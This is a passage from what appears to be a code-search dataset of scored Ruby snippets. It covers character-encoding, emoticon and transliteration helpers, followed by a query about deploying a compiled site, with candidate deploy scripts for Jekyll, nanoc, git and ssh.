"ed8b4092491e5bfb1aba06f5b8ea5e26", "score": "0.5434334", "text": "def get_japanese_emoticon(file_path, emoticon)\n load_library(file_path).each do |emotion, char_hash|\n # binding.pry\n # returns the Japanese equivalent of an English grinning\n # i am given \":)\" in emoticon argument, which is found in get_emoticon\n char_hash.each do |original, translation|\n if original == emoticon\n return translation\n end\n end\n # binding.pry\n end\n\n if load_library(file_path).include?(emoticon) == false\n \"Sorry, that emoticon was not found\"\n end\nend", "title": "" }, { "docid": "9db37a4d8311450e09c568854e5cf51e", "score": "0.5427259", "text": "def processChar(c)\n if @target == 'utf8'\n return LATEX_TO_UTF8[c]\n end\n if @target == 'html'\n return LATEX_TO_HTML_ENTITIES[c]\n end\n if @target == \"mc\"\n return LATEX_TO_MACRONS_CHARACTERS[c]\n end\n end", "title": "" }, { "docid": "f01e3b43e9f2474de52beb55c36cc178", "score": "0.54104805", "text": "def encoding_line; end", "title": "" }, { "docid": "c8e1bdfe8266ce19ad1807df71ba7a21", "score": "0.54044664", "text": "def çς\n \"±Magnitude\"\n end", "title": "" }, { "docid": "02918838cc6778e94ff86ab9846a8cd0", "score": "0.537488", "text": "def filenames_for_current_locale; end", "title": "" }, { "docid": "3dc439fbdb0bb147050ede9e1e3b1365", "score": "0.53655916", "text": "def encoding_for(character)\n encoding_for_bars(ENCODINGS[character])\n end", "title": "" }, { "docid": "ccf775e78fa71c37d76458a9564146de", "score": "0.5349079", "text": "def character_order = locale_info(:layout, :orientation, :character_order)", "title": "" }, { "docid": "00b53c3dd19a84c6c62d0980dbfbc596", "score": "0.5341886", "text": "def get_english_meaning(file, emoticon_input)\n emoticons = load_library(file)\n emoticons.each do |key, value|\n if emoticon_input == emoticons[key][:japanese]\n #binding.pry\n return key\n end\n end\n return\"Sorry, that emoticon was not found\"\nend", "title": "" }, { "docid": "b0d0a36ae728fd5f4a6ce5c813200a6b", "score": "0.5330083", "text": "def translation\n @translation ||= name.underscore.split('/').last\n end", "title": "" }, { "docid": "75b3ac80ac09cbd3be0cf5d0308f66a4", "score": "0.5328344", "text": "def show_char(c)\n chars = %w( nul sch stx etx eot enq ack bel bs tab nl vtab\n ff cr so si dle dcl dc2 dc3 dc4 nak syn etb\n can em sub esc fs gs rs us sp\n )\n return(chars[c.ord])\nend", "title": "" }, { "docid": "aa0ba33b9adcae55d478b0827e72c638", "score": "0.5323376", "text": "def name\n UnicodeUtils.char_name(@int)\n end", "title": "" }, { "docid": "23ea05f508b0c117969d85000871cfa5", "score": "0.53168344", "text": "def getChar(c)\n c.chr\nend", "title": "" }, { "docid": "23ea05f508b0c117969d85000871cfa5", "score": "0.53168344", "text": "def getChar(c)\n c.chr\nend", "title": "" }, { "docid": "c2fdc2a7f5f06004dcc940c044d60f7e", "score": "0.5316635", "text": "def char_to_id(ch); end", "title": "" }, { "docid": "481e96766edbc50534532d5f4face758", "score": "0.53045833", "text": "def prev_char c, number\n new_ord = c.ord - filter_by_95(number)\n if new_ord < 32\n new_ord += (126 - 31)\n end\n return new_ord.chr\nend", "title": "" }, { "docid": "68dd8ac68b97ba97f6ba1543bfa216c3", "score": "0.5302974", "text": "def locale_of(filename)\n locale = (filename =~ extension_regex ? $1 : nil)\n locale ? locale.gsub(/^\\./, '').to_sym : nil\n end", "title": "" }, { "docid": "62815971831fefc48caba7fa0223b11e", "score": "0.5301922", "text": "def current_char\n @current_char\n end", "title": "" }, { "docid": "acf69a5186a4040683c1648071cb21d0", "score": "0.5293235", "text": "def to_s\n \"#{codepoint} (#{name})\"\n end", "title": "" }, { "docid": "f38ed69e893fb208b8fc40500b9cd3c1", "score": "0.5288426", "text": "def translate_char(char)\n# designed to be called upon by our translate_phrase method\n\talphabet = \"abcdefghijklmnopqrstuvwxyz\"\n\thalfway = alphabet.length / 2\n\t#halfway = 13\n\tis_capitalized = (char.upcase == char)\n\n\t#if alphabet.index(char.downcase) == nil\n\tif !alphabet.index(char.downcase)\n\t\t#return \"boing\"\n\t\t\"boing\"\n\t#elsif is_capitalized && (alphabet.index(char.downcase) + 1) \n\t\t#<= halfway\n\telsif is_capitalized && alphabet.index(char.downcase) < halfway\n\t\t#return \"bloop\"\n\t\t\"bloop\"\n\t#elsif is_capitalized || char.downcase == \"e\"\n\telsif is_capitalized || char == \"e\"\n\t\t#return \"buzz\"\n\t\t\"buzz\"\n\telse \n\t\t#return char\n\t\t#char\n\t\t#return \"beep\"\n\t\t\"beep\"\n\tend\nend", "title": "" }, { "docid": "9965b4f2be52c04c7b2b3a526dbf360b", "score": "0.5288223", "text": "def hecho_en\n 'china'\n end", "title": "" }, { "docid": "468e8a868d024e3e30b13d8168e38df9", "score": "0.52807575", "text": "def encoding_line=(_arg0); end", "title": "" }, { "docid": "8ed3b09db0a0670a7af3c924181dd87a", "score": "0.5261739", "text": "def three_char_code(lang:)\n two_char_code = lang.to_s.split('-').first\n LANGUAGE_MAP[two_char_code.to_sym]\n end", "title": "" }, { "docid": "d1180c41c78dd29e178323c254691b7b", "score": "0.5260064", "text": "def getChar\n $look = ARGF.readchar\nend", "title": "" }, { "docid": "850c832c3148d92bc60cf92f58586763", "score": "0.5249863", "text": "def get_filecode()\n \"__EMIT_#{ARGV[0].gsub(/[^\\w]/, \"_\").upcase}__\"\nend", "title": "" }, { "docid": "cf6716037b9d5ee426f4e57f84bb17f6", "score": "0.52417326", "text": "def prev_char(single_letter)\n (single_letter.ord - 1).chr\nend", "title": "" }, { "docid": "cf6716037b9d5ee426f4e57f84bb17f6", "score": "0.52417326", "text": "def prev_char(single_letter)\n (single_letter.ord - 1).chr\nend", "title": "" }, { "docid": "efeae85bc11d8b435a5f187fac472ba3", "score": "0.5228786", "text": "def get_codepoint(character)\n \"%04x\" % character.unpack(\"U\")[0]\n end", "title": "" }, { "docid": "cfdfb183b9512b6f51caa4f641402f40", "score": "0.5222714", "text": "def getASCII(c)\n c.ord\nend", "title": "" }, { "docid": "33fd95130efefee7da545088c0fdf796", "score": "0.52123284", "text": "def utf8_character\n character.chr(Encoding::UTF_8)\n end", "title": "" }, { "docid": "3d89374fe78a7d65c6d9d3c5f83a1947", "score": "0.5204186", "text": "def get_print_char x,y, leer = nil, one = 'X', two = 'O'\n\n #return \"@\" if @field[x][y].winner\n\n case @field[x][y].player\n when 1 then one\n when 2 then two\n else\n if leer.nil? then\n $keymap.invert[[x,y]].to_s\n else\n leer\n end\n end\n end", "title": "" }, { "docid": "367dcf89f68fbcdcc9735397aebf66a7", "score": "0.5203218", "text": "def tuc(arg)\n h = Hash.[](\".\"=>\"&#x0F0B;\", \"/\"=>\"&#x0F0D;\", \";\"=>\"&#x0F14;\", \"\"=>\"\",\n \"ka\"=>\"&#x0F40;\", \"kha\"=>\"&#x0F41;\", \"ga\"=>\"&#x0F42;\", \"nga\"=>\"&#x0F44;\",\n \"ca\"=>\"&#x0F45;\", \"cha\"=>\"&#x0F46;\", \"ja\"=>\"&#x0F47;\", \"nya\"=>\"&#x0F49;\",\n \"ta\"=>\"&#x0F4F;\", \"tha\"=>\"&#x0F50;\", \"da\"=>\"&#x0F51;\", \"na\"=>\"&#x0F53;\",\n \"pa\"=>\"&#x0F54;\", \"pha\"=>\"&#x0F55;\", \"ba\"=>\"&#x0F56;\", \"ma\"=>\"&#x0F58;\",\n \"tsa\"=>\"&#x0F59;\", \"tsha\"=>\"&#x0F5A;\", \"dza\"=>\"&#x0F5B;\", \"wa\"=>\"&#x0F5D;\",\n \"zha\"=>\"&#x0F5E;\", \"za\"=>\"&#x0F5F;\", \"'a\"=>\"&#x0F60;\", \"ya\"=>\"&#x0F61;\",\n \"ra\"=>\"&#x0F62;\", \"la\"=>\"&#x0F63;\", \"sha\"=>\"&#x0F64;\", \"sa\"=>\"&#x0F66;\",\n \"ha\"=>\"&#x0F67;\", \"a\"=>\"&#x0F68;\",\n # numbers !!! better include number_generator\n \"0\"=>\"&#x0F20;\", \"1\"=>\"&#x0F21;\", \"2\"=>\"&#x0F22;\", \"3\"=>\"&#x0F23;\",\n \"4\"=>\"&#x0F24;\", \"5\"=>\"&#x0F25;\", \"6\"=>\"&#x0F26;\", \"7\"=>\"&#x0F27;\",\n \"8\"=>\"&#x0F28;\", \"9\"=>\"&#x0F29;\",\n # vowel signs\n \".e\"=>\"&#x0F7A;\", \".i\"=>\"&#x0F72;\", \".o\"=>\"&#x0F7C;\", \".u\"=>\"&#x0F74;\",\n # double vowel signs\n \"E\" => \"&#x0F7B;\", \"O\" => \"&#x0F7D;\",\n # subscribed characters\n \"x_ka\"=>\"&#x0F90;\", \"x_kha\"=>\"&#x0F91;\", \"x_ga\"=>\"&#x0F92;\", \"x_nga\"=>\"&#x0F94;\",\n \"x_ca\"=>\"&#x0F95;\", \"x_cha\"=>\"&#x0F96;\", \"x_ja\"=>\"&#x0F97;\", \"x_nya\"=>\"&#x0F99;\",\n \"x_ta\"=>\"&#x0F9F;\", \"x_tha\"=>\"&#x0F90;\", \"x_da\"=>\"&#x0FA1;\", \"x_na\"=>\"&#x0FA3;\",\n \"x_pa\"=>\"&#x0FA4;\", \"x_pha\"=>\"&#x0FA5;\", \"x_ba\"=>\"&#x0FA6;\", \"x_ma\"=>\"&#x0FA8;\",\n \"x_tsa\"=>\"&#x0FA9;\", \"x_tsha\"=>\"&#x0FAA;\", \"x_dza\"=>\"&#x0FAB;\", \"x_wa\"=>\"&#x0FAD;\",\n \"x_zha\"=>\"&#x0FAE;\", \"x_za\"=>\"&#x0FAF;\", \"x_'a\"=>\"&#x0F71;\", \"x_ya\"=>\"&#x0FB1;\",\n \"x_ra\"=>\"&#x0FB2;\", \"x_la\"=>\"&#x0FB3;\", \"x_sha\"=>\"&#x0FB4;\", \"x_sa\"=>\"&#x0FB6;\",\n \"x_ha\"=>\"&#x0FB7;\", \"x_a\"=>\"&#x0FB8;\",\n # superscribed character\n \"ra_x\"=>\"&#x0F62;\",\n # revered letters\n \"Ta\"=>\"&#x0F4A;\", \"Tha\" => \"&#x0F4B;\", \"Da\" => \"&#x0F4C;\", \"Na\" => \"&#x0F4E;\",\n \"Sha\" => \"&#x0F65;\")\n\n result = h[arg]\n if result != nil\n erg = result\n else\n erg = \"\"\n end\n return erg\n end", "title": "" }, { "docid": "0ca7d72841407e48a90f0ed3360536e6", "score": "0.5189633", "text": "def char\n if failure?\n FAILURE_CHAR\n else\n ERROR_CHAR\n end\n end", "title": "" }, { "docid": "c3449d2e864eaff05ec360267678c043", "score": "0.51821893", "text": "def string_in_english\n assembled_characters.map {|character| @dictionary.english_braille[character]}.join\n end", "title": "" }, { "docid": "99d9b357b6c69bdd183610896ae9a094", "score": "0.5169016", "text": "def get_char\n\t\tc = read_char\n\n\t\tcase c\n\t\twhen \"\\e[A\"\n\t\t\treturn :up\n\t\twhen \"\\e[B\"\n\t\t\treturn :down\n\t\twhen \"\\e[C\"\n\t\t\treturn :right\n\t\twhen \"\\e[D\"\n\t\t\treturn :left\n\t\twhen \"\\177\"\n\t\t\treturn :backspace\n\t\twhen \"\\004\"\n\t\t\treturn :delete\n\t\twhen \"\\e[3~\"\n\t\t\treturn :altdelete\n\t\twhen \"\\u0003\" # Ctrl C\n\t\t\texit 0\n\t\twhen /^.$/ # Only one char\n\t\t\treturn c\n\t\telse\n\t\t\tSTDERR.puts \"strange char: #{c.inspect}\"\n\t\tend\n\tend", "title": "" }, { "docid": "399bd44706225c71f85986c7cacf46ef", "score": "0.5160496", "text": "def awful_file_name\n (((0x00..0x7f).to_a - [0x00, 0x0a, 0x2b, 0x2f]).map { |n| n.chr }).join + '.txt'\n end", "title": "" }, { "docid": "8f5b074af0ade4475483bab72075280e", "score": "0.51595277", "text": "def as_string()\n\n data_map = IniFile.new( :filename => @file_path, :encoding => 'UTF-8' )\n data_map = IniFile.load( @file_path ) if File.file? @file_path\n return data_map.to_s\n\n end", "title": "" }, { "docid": "65e8bf7963ad301e85f4750b6b837d21", "score": "0.5155077", "text": "def translate(text)\n text.chars.map do |c|\n match = {\n \"abc\" => 2,\n \"def\" => 3,\n \"ghi\" => 4,\n \"jkl\" => 5,\n \"mno\" => 6,\n \"pqrs\" => 7,\n \"tuv\" => 8,\n \"wxyz\" => 9\n }.detect { |k,v| k.include?(c.downcase) }\n \n match ? match.last : c\n end.join\nend", "title": "" }, { "docid": "d3d4ad55f8e49eec497ad9f30e40407e", "score": "0.51542187", "text": "def encode_character(char)\n if @@has_ord ||= char.respond_to?(:ord)\n char.ord.to_s\n else\n char[0]\n end\n end", "title": "" }, { "docid": "519a9393431cb8fd32238c02c617ddf5", "score": "0.51500803", "text": "def filepath\n File.join(JapaneseNames.root, 'bin/enamdict.min')\n end", "title": "" }, { "docid": "9cb5818bc741f6712553bb264308867a", "score": "0.51489073", "text": "def char_at(column)\n line[column, 1]\n end", "title": "" }, { "docid": "0b9db62a534248b86ea3bab225954b77", "score": "0.5138027", "text": "def transliterate(string)\n Iconv.iconv('ascii//ignore//translit', 'utf-8', string).to_s\n end", "title": "" }, { "docid": "cb342bedb4aac9c39a1586be20402c35", "score": "0.51284784", "text": "def initial\n chr\n end", "title": "" }, { "docid": "f03ef7fc2beee6c0363517729e8274e6", "score": "0.5122344", "text": "def unicode_basic\n self.each_char.select do |x|\n (cp=x.codepoints.first) <= 0xFFFF && cp >= 0x20\n end.join\n end", "title": "" }, { "docid": "011b85cf723149eec9a8a2b6b7a05f6d", "score": "0.51209635", "text": "def french_name\n self[4]\n end", "title": "" }, { "docid": "011b85cf723149eec9a8a2b6b7a05f6d", "score": "0.51209635", "text": "def french_name\n self[4]\n end", "title": "" }, { "docid": "7cf95259a646fb64d13e917eff2d2b8c", "score": "0.51205754", "text": "def get_unicode_of(character)\n character.unpack('U*').first.to_s(16).rjust(4, '0').upcase\nend", "title": "" }, { "docid": "a0650e70e21b35c9b70e07718dfd0ce3", "score": "0.5112879", "text": "def get_utf8_of(character)\n character.unpack('H*').first.upcase\nend", "title": "" }, { "docid": "ea5020254dee732c977ae8b7d0f86fab", "score": "0.51121724", "text": "def translate_char(char)\n\talphabet = \"abcdefghijklmnopqrstuvwxyz\"\n\thalfway = alphabet.length / 2\n\tis_capitalized = (char.upcase == char)\n\tindex_of_char = alphabet.index(char.downcase)\n\n\t#if !alphabet.index(char.downcase)\n\tif !index_of_char\n\t\t\"boing\"\n\t#elsif is_capitalized && alphabet.index(char.downcase) < halfway\n\telsif is_capitalized && index_of_char < halfway\n\t\t\"bloop\"\n\telsif is_capitalized || char == \"e\"\n\t\t\"buzz\"\n\telse\n\t\t\"beep\"\n\tend\nend", "title": "" }, { "docid": "4716f4d89c8deae35182dd080a9aa9f6", "score": "0.51079375", "text": "def get_english_meaning(path, symbol)\n each_emoticon = load_library(path)\n \n each_emoticon.each do |name, value|\n \n if each_emoticon[name][:japanese] == symbol\n return name\n end \n \n end\n \n \"Sorry, that emoticon was not found\"\nend", "title": "" }, { "docid": "160e1dce9eb718e7f6310b58f0058e6b", "score": "0.5105895", "text": "def pbGetPlayerCharset(meta,charset,trainer=nil)\n trainer=$Trainer if !trainer\n outfit=trainer ? trainer.outfit : 0\n ret=meta[charset]\n ret=meta[1] if !ret || ret==\"\"\n# if FileTest.image_exist?(\"Graphics/Characters/\"+ret+\"_\"+outfit.to_s)\n if pbResolveBitmap(\"Graphics/Characters/\"+ret+\"_\"+outfit.to_s)\n ret=ret+\"_\"+outfit.to_s\n end\n return ret\nend", "title": "" }, { "docid": "c270f1c53a92e0a900972320a39633d7", "score": "0.5104111", "text": "def yy_unicode_s(char_code)\n \"U+#{\"%04X\" % char_code}\"\n end", "title": "" }, { "docid": "1b5dc7b77fb926c93fbd315f8f9801eb", "score": "0.5103138", "text": "def lex_en_expr_fname; end", "title": "" }, { "docid": "1b5dc7b77fb926c93fbd315f8f9801eb", "score": "0.5103138", "text": "def lex_en_expr_fname; end", "title": "" }, { "docid": "1b5dc7b77fb926c93fbd315f8f9801eb", "score": "0.5103138", "text": "def lex_en_expr_fname; end", "title": "" }, { "docid": "e02a273ee399a3f9006fbcddc1779c64", "score": "0.50960946", "text": "def transliterate(string)\n Iconv.iconv('ascii//ignore//translit', 'utf-8', string).to_s\n end", "title": "" }, { "docid": "a04fa916e51ed530225ee521c836462d", "score": "0.50953776", "text": "def get_english_meaning(file_path, emoticon_symbol)\n library = load_library(file_path)\n \n result = library.keys.find do |expression|\n library[expression][:japanese] == emoticon_symbol\n end \n \n if result != nil\n result\n else \n \"Sorry, that emoticon was not found\"\n # binding.pry\n end\nend", "title": "" }, { "docid": "79b90b887827da10aef45bde0c3ada62", "score": "0.5084466", "text": "def xchr\n n = XChar::CP1252[self] || self\n n = 42 unless XChar::VALID.find {|value| value.kind_of?(Range) ? value.include?(n) : (value == n)}\n\n XChar::PREDEFINED[n] or case n\n when 0...128\n n.chr\n when 0x400..0x4FF\n [n].pack 'U'\n else\n \"&##{n};\"\n end\n end", "title": "" }, { "docid": "e6084354eaff0cee487a9a008ee9477f", "score": "0.5070982", "text": "def pig_latin_final\r\n return @pig_latin_final\r\n end", "title": "" }, { "docid": "4dc520e45f2481b5065dc2857047930d", "score": "0.50662374", "text": "def rightChar\n File.open(\"file\").each_line do |line|\n a = line.chomp.split(',')\n str = a[0]\n if str.include? a[1]\n p str.rindex a[1]\n else\n p -1\n end\n end\nend", "title": "" }, { "docid": "0ad2ead00ae35429ddb6d8e9c72e35e9", "score": "0.5063483", "text": "def backward_char\n\n file = @file\n pos_max = file.pos - 1\n pos_min = pos_max - @mb_bytesize_max\n\n pos_max.downto(pos_min) do |pos|\n\n break if pos < 0\n\n file.seek(pos)\n char = file.getc\n\n # return file#getc character\n # - when that is regular for multibyte character\n return char if check_mb(char)\n end\n\n nil\n end", "title": "" }, { "docid": "c3683e0073242c51c835ed8434b8c9d5", "score": "0.506127", "text": "def char\n self.class.codepoint2char(@codepoint)\n end", "title": "" }, { "docid": "f424b6ede471cbdcc99237ab84d7464a", "score": "0.50592244", "text": "def getChar\n if @index <= @code.size - 1\n return @code[@index] if !@code[@index].nil?\n end\n # If nil return empty string.\n return nil\n end", "title": "" }, { "docid": "db151c293fac411111d4ffa90fadc989", "score": "0.5059168", "text": "def findInverse(char)\n @inverses[char]\n end", "title": "" }, { "docid": "8487e866593f2e19806357093e34e5f8", "score": "0.50528485", "text": "def external_name\n @external_name ||= \"#{normalized_affixe_from_titre}.tex\"\n end", "title": "" }, { "docid": "115f07677bcc25fdd65d3a49fed37d50", "score": "0.5050845", "text": "def nextchar\n c = self.more?() ? @source[@index,1] : \"\\0\"\n @index += 1\n return(c)\n end", "title": "" }, { "docid": "b267aaca1a0d80a09bb75a3f63e225cc", "score": "0.5043567", "text": "def raw_code\n @raw_code ||= (File.read path).to_s.force_encoding(Encoding::UTF_8)\n end", "title": "" }, { "docid": "57cd19771a62795e0d6ad1587b0179f3", "score": "0.5043028", "text": "def chr() end", "title": "" }, { "docid": "cc2eeeb8a59332dbe0cf3c2220f44987", "score": "0.50388163", "text": "def get_japanese_emoticon(file_path,emoticon)\n library = load_library(file_path)\n library.each do |key, value|\n if value[:english] == emoticon\n return value[:japanese]\n end\n end\n return \"Sorry, that emoticon was not found\"\nend", "title": "" }, { "docid": "0d1845689cb020c0d7969ae971f65a42", "score": "0.50362647", "text": "def translate_char(char)\n\talphabet = \"abcdefghijklmnopqrstuvwxyz\"\n\thalfway = alphabet.length / 2\n\tis_capitalized = (char.upcase == char)\n\n\tif !alphabet.index(char.downcase)\n\t\t\"boing\"\n\telsif is_capitalized && alphabet.index(char.downcase) < halfway\n\t\t\"bloop\"\n\telsif is_capitalized || char == \"e\" \n\t\t\"buzz\"\n\telse\n\t\t\"beep\"\n\tend\nend", "title": "" }, { "docid": "93149dcc5d5573a49755b2424f72f1f6", "score": "0.5035072", "text": "def name\n @n.to_s + characterization\n end", "title": "" }, { "docid": "9268ac3ad1354933e874d981898db1d6", "score": "0.5032631", "text": "def lower_chars(char)\n ROMAN_CHARS.split(char)[0]\n end", "title": "" }, { "docid": "6c89f3bebb6d4efd8abb4236c9e2785f", "score": "0.5032517", "text": "def get_header\n\theader = nil\n\tFile.open(\"./data/header.tex\",\"r\") do |f|\n\t\theader = f.readlines\n\tend\n\treturn header\n\t#パッケージの設定もここで入れれるといいんだが\nend", "title": "" }, { "docid": "d110144b49b2624fa79a6c9817a71f94", "score": "0.5027418", "text": "def position_for(char)\n return ''.freeze if char.position.y == @y\n\n @y = char.position.y\n char.position.to_s\n end", "title": "" }, { "docid": "0cda6de9de01a910bbc21cf528f38f07", "score": "0.5026236", "text": "def get_japanese_emoticon(yaml_file, eng_emoticon)\n translation = \"\"\n new_hash = load_library(yaml_file)\n new_hash.each do |name, languages|\n if languages[:english] == eng_emoticon \n translation = languages[:japanese]\n end\n end\n if translation == \"\"\n return \"Sorry, that emoticon was not found\"\n else\n return translation\n end\nend", "title": "" }, { "docid": "64d7c2c4f1a62b12e3f0e7322843ac98", "score": "0.5018342", "text": "def pbGetFileChar(file)\n file = canonicalize(file)\n if !safeExists?(\"./Game.rgssad\") && !safeExists?(\"./Game.rgss2a\")\n return nil if !safeExists?(file)\n begin\n File.open(file,\"rb\") { |f| return f.read(1) } # read one byte\n rescue Errno::ENOENT, Errno::EINVAL, Errno::EACCES\n return nil\n end\n end\n Marshal.neverload = true\n str = nil\n begin\n str = load_data(file)\n rescue Errno::ENOENT, Errno::EINVAL, Errno::EACCES, RGSSError\n str = nil\n ensure\n Marshal.neverload = false\n end\n return str\nend", "title": "" }, { "docid": "6f7caa723d413e5f7d71402722f07c34", "score": "0.501355", "text": "def full_path_from_edict_file(filename=\"\")\n return Rails.root.join(\"data/cedict/#{filename}\").to_s\n end", "title": "" }, { "docid": "0cd563bf2344e2d91fd55f60bb11e938", "score": "0.50060636", "text": "def dousa2relative(str)\n {\n '上' => 'U',\n '寄' => 'M',\n '引' => 'D'\n }[str] || ''\n end", "title": "" }, { "docid": "ecf7c31c5a734a69e80b2362b0189f79", "score": "0.5006002", "text": "def file_string(file)\n return file.class == Fixnum ? files[file] : file\n end", "title": "" }, { "docid": "fb2fa0466ec25f29692cf83334c3d6d0", "score": "0.50031745", "text": "def language_name(code)\n if configatron.locales.include?(code)\n t(:locale_name, :locale => code)\n else\n (entry = ISO_639.find(code.to_s)) ? entry.english_name : code.to_s\n end\n end", "title": "" }, { "docid": "ba39814af8171d0c84fc278f4b85e13f", "score": "0.4996411", "text": "def find_russian(cleaned_line, pre_cleaned_line,searcher_hash,searcher)\r\n if cleaned_line === ''\r\n puts \"ru[]:\"\r\n elsif pre_cleaned_line.include? '\\255\\003'\r\n searchable_array = pre_cleaned_line.split('\\255\\003')\r\n combined_line = searchable_array.inject('') do |all_lines,line|\r\n searchable_line = line\r\n .gsub('\"','`')\r\n .gsub(' -- ','-- ')\r\n # puts \"--#{searchable_line}\"\r\n found = searcher_hash[searchable_line]\r\n if found\r\n all_lines += searcher[found+1].to_s + ' '\r\n end\r\n end\r\n puts \"ru[]: \" + combined_line.to_s.strip.gsub('`','\"')\r\n else\r\n searchable_line = cleaned_line\r\n .gsub('\"','`')\r\n .gsub(' -- ','-- ')\r\n\r\n found = searcher_hash[searchable_line] ||\r\n searcher_hash[searchable_line.downcase] \r\n if found\r\n puts \"ru[]: #{searcher[found+1].gsub('`','\"')}\"\r\n else\r\n puts \"ru[]: (line omitted in locale)\"\r\n end\r\n end\r\nend", "title": "" }, { "docid": "663aff5ccefc9be55188005476009dfd", "score": "0.49937445", "text": "def iconv() end", "title": "" }, { "docid": "3460317ac40db766afcab49ca296814a", "score": "0.4988038", "text": "def lex_en_interp_string; end", "title": "" }, { "docid": "3460317ac40db766afcab49ca296814a", "score": "0.4988038", "text": "def lex_en_interp_string; end", "title": "" }, { "docid": "3460317ac40db766afcab49ca296814a", "score": "0.4988038", "text": "def lex_en_interp_string; end", "title": "" }, { "docid": "dc15b8e0cb2feeb2f3af24af4f3594b1", "score": "0.4985009", "text": "def next_char c, number\n new_ord = c.ord + filter_by_95(number)\n if new_ord > 126\n new_ord -= (126 - 31)\n end\n return new_ord.chr\nend", "title": "" }, { "docid": "1e897914a7c93f56e307b8885318f5de", "score": "0.4979479", "text": "def get_windows_1252_of(character)\n begin\n \"0\" + character.encode('Windows-1252').unpack('H*').first.to_i(16).to_s\n rescue Encoding::InvalidByteSequenceError, Encoding::UndefinedConversionError\n \"\"\n end\nend", "title": "" }, { "docid": "8a051ad5bf753fe8d02ac25a8d4d5e10", "score": "0.49781644", "text": "def source_str(program)\n languages = program.languages\n language_str = languages.map { |l| l.value }.join(', ')\n if language_str.length.nonzero?\n raw(\n content_tag(:span, class: \"has-tip\", title: \"Source code: #{language_str}\") do\n tag(:i, class: [\"fas\", \"fa-code\"])\n end\n )\n end\n end", "title": "" } ]
0f3cd947015bb21739c93429902a0894
Responsible for deploying a compiled site to a production server.
[ { "docid": "1fcffe62bf8fef200bf1c95f88be2fc7", "score": "0.0", "text": "def deploy\n Tipsy::Runners::Deployer.new\n end", "title": "" } ]
[ { "docid": "d8cee0304e2f69f52da10306f7e3d0ee", "score": "0.7402906", "text": "def deploy\n\t# This task is typiclly run after the site is updated but before the server is restarted.\nend", "title": "" }, { "docid": "d8cee0304e2f69f52da10306f7e3d0ee", "score": "0.7402906", "text": "def deploy\n\t# This task is typiclly run after the site is updated but before the server is restarted.\nend", "title": "" }, { "docid": "fd737bdbadb20761366eb006d5a74fe6", "score": "0.72704816", "text": "def deploySite\n verifyOS\n timeDate = Time.new\n vConfig(CONFIG['configWebsite'])\n read_json(CONFIG['configWebsite'])\n compileP = @parse_json_config['deploy']['compile']['built']\n branchBuilt = @parse_json_config['deploy']['branch']['built']\n msgCommit = @parse_json_config['deploy']['github']['config']['commit']\n if compileP == \"yes\"\n system_commands(\"rake build\")\n end\n # enter_folder(\"./_site\") # DEPRECATED\n add_repo_git(SITEDIR)\n add_remoteurl(SITEDIR)\n pull_execute(branchBuilt, SITEDIR)\n system_commands(\"echo Deploy source files. Wait ...\")\n git_checkout(branchBuilt, SITEDIR)\n system_commands(\"cd #{SITEDIR}; git add .\")\n system_commands(\"cd #{SITEDIR}; git commit -m \\\"#{msgCommit} - #{timeDate.inspect}\\\"\")\n system_commands(\"cd #{SITEDIR}; git push origin -u #{branchBuilt}\")\n\n end", "title": "" }, { "docid": "10d0283e792de8873e09ba735fcee3fe", "score": "0.70497113", "text": "def run(params={})\n config_name = params.has_key?(:config_name) ? params[:config_name].to_sym : :default\n\n # Validate config\n error 'No deploy configuration found' if @site.config[:deploy].nil?\n error \"No deploy configuration found for #{config_name}\" if @site.config[:deploy][config_name].nil?\n \n src_branch = @site.config[:deploy][config_name][:src_branch]\n dst_branch = @site.config[:deploy][config_name][:dst_branch]\n dst_remote = @site.config[:deploy][config_name][:dst_remote]\n \n error 'No source branch found in deployment configuration' if src_branch.nil?\n error 'No destination branch found in deployment configuration' if dst_branch.nil?\n error 'No destination remote found in deployment configuration' if dst_remote.nil?\n \n git = ::Git::Base.open('.')\n \n # Compile the site from scratch\n Nanoc::Tasks::Clean.new(@site).run\n \n # Check out the source branch\n puts \"Checking out #{src_branch}.\"\n git.checkout(src_branch)\n \n # Compile the site from scratch\n puts \"Compiling site.\"\n @site.compiler.run\n \n # Check out the destination branch\n puts \"Checking out destination branch.\"\n git.checkout(dst_branch)\n \n # Copy output files recursively into the current directory\n puts \"Copying files.\"\n FileUtils.cp_r(@site.config[:output_dir].chomp('/') + '/.', '.')\n \n # Automatically add and commit changes\n puts \"Committing changes.\"\n git.add\n git.commit(\"updated #{Time.now.to_s}\", :add_all => true)\n \n # Push changes to the destination repo/branch\n puts \"Pushing to #{dst_remote} #{dst_branch}.\"\n git.push(dst_remote, dst_branch)\n \n # Switch back to the source branch\n puts \"Checking out #{src_branch}.\"\n git.checkout(src_branch)\n end", "title": "" }, { "docid": "1e6abf6cc00701c3100adda2e9631e7d", "score": "0.6708629", "text": "def stage_wp_site\n # Note - this assumes that the wordpress files are saved in the repository that\n # the WPDeploy script will look for them in a particular directory\n begin \n if AppConfig.wp_deploy_enabled?\n LOGGER.debug \"Staging original wordpress site for project #{self.label}\"\n wpd = WpDeploy.new(self.label)\n wpd.deploy\n else\n LOGGER.info \"Skipping staging of WordPress site for #{self.label} as wp_deploy is disabled\"\n end\n rescue Exception => e\n LOGGER.error \"Error occurred staging original wordpress site: #{e.message}\"\n end\n end", "title": "" }, { "docid": "7d934ad10eb91a065d19918314ee2995", "score": "0.66335636", "text": "def deploy()\n release = create_release_name()\n\n write_deploy_version_file()\n\n DirectorySync.sync(server, from_dir, cache_dir, server[:deployer])\n copy_cache_dir_to_release(release)\n\n symlink_shared_directories(release)\n\n send_scripts()\n run_script(:before, release)\n symlink_release_dir(release)\n run_script(:after, release)\n end", "title": "" }, { "docid": "78502df81daa5caace34b3d0565be5b2", "score": "0.6531565", "text": "def deploy\n unless serverside_version\n # only set serverside version if it's not set, to imitate the api\n # behavior of choosing its own serverside version if one is not\n # sent\n update :serverside_version => AWSM_SERVERSIDE_VERSION\n end\n finished!(\n :successful => true,\n :output => 'Deployment triggered by the API'\n )\n end", "title": "" }, { "docid": "ad18d80f53a1f563c5bb83244062e2ad", "score": "0.63883626", "text": "def deploy\n system %Q[ssh -lroot \"#{server}\" <<'EOF'\n \tcat >\"#{remote_script_name}\" <<'EOS'\n#{generate}EOS\nchmod +x \"#{remote_script_name}\"\nsource \"#{remote_script_name}\"\nEOF\n ]\n end", "title": "" }, { "docid": "abb7a81180abc90c036ea958762297d0", "score": "0.637707", "text": "def publish!\n inform \"Publishing local version to http://chapmanu.github.io/web-components\"\n \n # Production Configuration\n inform \"Building site with production configuration\"\n Jekyll::Site.new(Jekyll.configuration({\n \"source\" => \".\",\n \"destination\" => \"_site\"\n })).process\n\n 